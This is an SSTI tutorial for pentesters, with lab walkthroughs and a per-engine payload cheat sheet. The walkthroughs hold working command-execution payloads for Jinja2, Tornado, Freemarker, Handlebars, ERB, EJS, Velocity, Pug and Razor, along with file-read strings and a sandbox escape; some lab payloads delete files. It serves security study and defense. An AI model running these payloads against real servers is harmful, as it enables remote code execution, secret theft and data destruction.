Server-Side Template Injection (SSTI)
Server-Side Template Injection explained, with a per-engine payload cheat sheet.
What is SSTI?#
Server-Side Template Injection (SSTI) happens when user input is included directly in a server-side template.
The template engine then runs this input as code on the server.
Template engines are used to create dynamic web pages.
They combine a template (with placeholders) and user data to produce HTML.
As pentesters, we want to **detect** it, **exploit** it, and **understand** the risk.How to think about SSTI as a pentester#
Always ask:
- Does user input get rendered in a server-side template?
- Is there any template syntax reflected in responses?
- Can you do logic/math operations?
- Can you read objects, call methods, or even execute code?
Typical process:
- Test injection (e.g.
{{7*7}},${7*7},<%=7*7%>) - Identify the engine (look for errors or output styles)
- Confirm code execution (run OS commands or read files)
- Escalate (exfiltrate secrets, execute RCE, delete files)
Example of safe usage:
engine.render("Hello {{name}}", {"name": user_input})Example of unsafe usage:
engine.render("Hello " + user_input)If user_input is:
{{7*7}}or one of those :
{{7*7}}
${7*7}
<%=7*7 %>
${{7*7}}
#{7*7}The server evaluates it:
Hello 49Why is SSTI Dangerous?#
SSTI can allow an attacker to:
- Run code on the server (Remote Code Execution, RCE)
- Read sensitive files
- Access environment variables (API keys, passwords)
- Perform other attacks on internal systems
Impact can be very severe if exploited.
How Does SSTI Happen?#
SSTI happens when developers:
Concatenate user input into the template itself
Instead of passing it as data
Bad:
engine.render("Dear " + user_input)Good:
engine.render("Dear {{name}}", {"name": user_input})How to Detect SSTI#
The first step is testing if the server evaluates template syntax. Identify the Template Engine/Framework/Language
Payload Template Engine/Framework/Language
a{*comment*}b Smarty
#{ 2*3 } Pug, Spring
*{ 2*3 } Spring
${"z".join("ab")} Mako, ???
{{ '7'*7 }} Angular, Django, Flask, Go, Jinja2, Tornado, Twig, ???
{{:2*3}} JsRender
{% debug %} Django
<%= 7*7 %> ERB (Embedded Ruby)Fuzz with template expressions:#
{{7*7}}${7*7}<%=7*7%>
If the response shows 49, SSTI is confirmed.
Two Contexts:#
1️⃣ Plaintext Context
User input is put directly into output.
Example vulnerable code:
render('Hello ' + username)Test:
?username={{7*7}}If response:
Hello 49SSTI detected.
2️⃣ Code Context
User input is placed inside template expressions.
Example:
engine.render("Hello {{"+greeting+"}}")Test:
?greeting=data.username}}<tag>If response:
Hello Carlos<tag>SSTI confirmed.
How to Identify the Template Engine#
After finding SSTI, figure out which template engine is used.
This helps build the correct payload.
How?
- Send invalid syntax to cause errors.
- Study error messages.
- Test mathematical operations.
Examples:
{{7*7}}→ works? Jinja2/Twig${7*7}→ works? Freemarker/Velocity<%=foobar%>→ error? ERB (Ruby)
Note: Some payloads work in multiple engines, so test carefully.
How to Exploit SSTI#
Always get permission before testing real systems!
After you know the template engine:
Try engine-specific payloads.
Examples:
- Proof of concept:
{{7*7}}→ 49
- Read variables:
{{config}}
- Call dangerous functions:
- Jinja2:
jinja
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
- Jinja2:
Goal: escalate to reading files or RCE.
How to Prevent SSTI#
Never build templates by adding user input into the template string.
Always use placeholders and pass user input as data.
Safe example:
engine.render("Hello {{name}}", {"name": user_input})Use logic-less template engines (like Mustache).
Sandbox the template engine (restrict dangerous features).
Deploy templates in locked-down environments (e.g., Docker).
📌 Server-Side Template Injection Labs - Summaries#
Each lab below is summarized for pentesters:
1️⃣ Basic server-side template injection#
Goal: Show basic template injection.
How to think:
- Test with
{{7*7}},<%=7*7%>,${7*7} - Confirm template engine evaluates user input.
- Output (e.g. 49) proves SSTI.
What we learned:
- Always test user-controlled fields for evaluation.
- Even simple math proves code execution.
- Initial foothold for bigger attacks.
2️⃣ Basic server-side template injection (code context)#
Goal: Use code execution in template.
How to think:
- Template supports control blocks.
- Use special syntax to execute code.
- Example in Tornado:
{% import os %}{{ os.system('rm /home/carlos/morale.txt') }}
What we learned:
- Some engines allow full Python/Jinja blocks.
- Understand syntax to achieve OS command execution.
- Code context allows complex logic.
3️⃣ Server-side template injection using documentation#
Goal: Identify engine and use documented exploit.
How to think:
- Trigger error with
${foobar}. - Error message reveals Freemarker.
- Check documentation for dangerous features.
- Use built-in
Execute:<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("rm /home/carlos/morale.txt") }
What we learned:
- Errors leak the engine type.
- Documentation gives exact attack paths.
- Built-in features can enable RCE.
4️⃣ Server-side template injection in an unknown language with a documented exploit#
Goal: Identify engine via errors, find known exploit.
How to think:
- Use fuzzing payload like
${{<%[%'"}}%\. - Error shows Handlebars.
- Research known exploits online.
- Example exploit reconstructs
constructorand executes command:- Calls
require('child_process').exec('rm /home/carlos/morale.txt').
- Calls
What we learned:
- Fuzzing for errors fingerprints the engine.
- Using known exploits saves time.
- Even “sandboxed” engines can be tricked.
5️⃣ Server-side template injection with information disclosure via user-supplied objects#
Goal: Steal framework secrets.
How to think:
- Error messages suggest Django.
- Use
{% debug %}to dump context. - Discover
settingsobject. - Exfiltrate
SECRET_KEY:{{ settings.SECRET_KEY }}
What we learned:
- Disclosure of internal objects is dangerous.
- SSTI can leak secrets without OS command execution.
- Debug features often overlooked but critical.
6️⃣ Server-side template injection in a sandboxed environment#
Goal: Bypass Freemarker sandbox to read file.
How to think:
- Use
productobject to navigate Java methods. - Chain method calls:
product.getClass().getProtectionDomain()...- Resolve and read file:
text
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
What we learned:
- Sandbox ≠ secure.
- Java allows method chaining to break containment.
- Knowledge of class/method hierarchy is critical.
7️⃣ Server-side template injection with a custom exploit#
Goal: Delete Carlos's SSH private key.
How to think:
- Found
user.setAvatar()method from errors. - Avatar path can point to any file.
- Used avatar to set target file.
- Called
user.gdprDelete()to delete it.
Steps:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')user.gdprDelete()
What we learned:
- Business logic + SSTI can be chained for impact.
- Exploit app's own methods for destructive actions.
- Requires creativity and understanding of app flow.
Key Takeaways Across All Labs#
- Test everything: Inputs, error messages, rendering.
- Identify the engine: Errors or rendering style.
- Research the engine: Syntax, built-ins, known exploits.
- Think like the app: Abuse methods/objects in context.
- Escalate: From detection to reading, executing, deleting.
📚 References#
- PortSwigger Research – Server-Side Template Injection (opens in a new tab)
- OWASP SSTI Cheat Sheet (opens in a new tab)
- notes.hdks SSTI Cheat Sheet (opens in a new tab)
Payload cheat sheet#
Focus on payloads per technology. For authorized testing only.
Jinja2 (Python)#
Frameworks: Flask, Django with Jinja2.
Vulnerable pattern:
render("Hello " + user_input)Basic Test
{{7*7}}Info Disclosure
{{config}}File Read
{{cycler.__init__.__globals__.open('/etc/passwd').read()}}Command Execution
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}Sandbox Break
{{''.__class__.__mro__[2].__subclasses__()}}Twig (PHP)#
Frameworks: Symfony, Laravel.
Vulnerable pattern:
$twig->render("Hello ".$_GET["name"]);Basic Test
{{7*7}}Dump Variables
{{dump(app)}}System Command (when debug enabled / misconfigured)
{{_self.env.registerUndefinedFilterCallback('system')}}
{{_self.env.getFilter('id')}}Notes
- Exploitable only if sandbox disabled or debug true.
- Often limited in production.
ERB (Ruby)#
Framework: Ruby on Rails.
Vulnerable pattern:
<%= user_input %>Basic Test
<%= 7*7 %>System Command
<%= `id` %>Ruby Method Call
<%= system('ls') %>File Read
<%= File.read('/etc/passwd') %>Freemarker (Java)#
Framework: Java Web Apps.
Vulnerable pattern:
template.process(user_input, data);Basic Test
${7*7}System Command
${"freemarker.template.utility.Execute"?new()("id")}Access Classes
${"freemarker.template.Configuration"?new()}Notes
- Security configuration often limits execution.
- Real exploits require misconfiguration.
Velocity (Java)#
Framework: Java Web Apps.
Vulnerable pattern:
context.put("user", user_input);
template.merge(context, writer);Basic Test
#set($a=7*7) $aAccess Context
$contextDangerous Execution (rare)
#set($e="")$e.getClass().forName("java.lang.Runtime").getRuntime().exec("id")Notes
- Exploits need sandbox escape.
- Often partial info disclosure.
Handlebars (Node.js)#
Framework: Express with Handlebars.
Vulnerable pattern:
res.render("template", {name: user_input});Basic Test
{{this}}Prototype Pollution → RCE
{"__proto__":{"outputFunctionName":"console.log","input":"process"}}Command Injection (if unsafe render)
{{#with "s" as |string|}}{{string.constructor.constructor('return global.process.mainModule.require("child_process").execSync(\"id\").toString()')()}}{{/with}}Mustache (Various Languages)#
Frameworks: Go, Node.js, PHP.
Notes:
- Logic-less by design.
- No direct SSTI.
- Safer by default.
Typical test fails:
{{7*7}}Caveat:
- Injection in custom helpers.
EJS (Node.js)#
Framework: Express with EJS.
Vulnerable pattern:
res.render("template", {user: req.query.user});Basic Test
<%= 7*7 %>RCE (if unsanitized)
<%= require('child_process').execSync('id') %>Pug / Jade (Node.js)#
Framework: Express with Pug.
Vulnerable pattern:
p= user_inputBasic Test
#{7*7}Command Execution (rare)
- var sys = global.process.mainModule.require('child_process'); sys.execSync('id')Razor (ASP.NET)#
Framework: ASP.NET MVC / .NET Core.
Vulnerable pattern:
@Html.Raw(user_input)Basic Test
@(7*7)Dangerous Execution
@System.Diagnostics.Process.Start("cmd.exe","/c dir")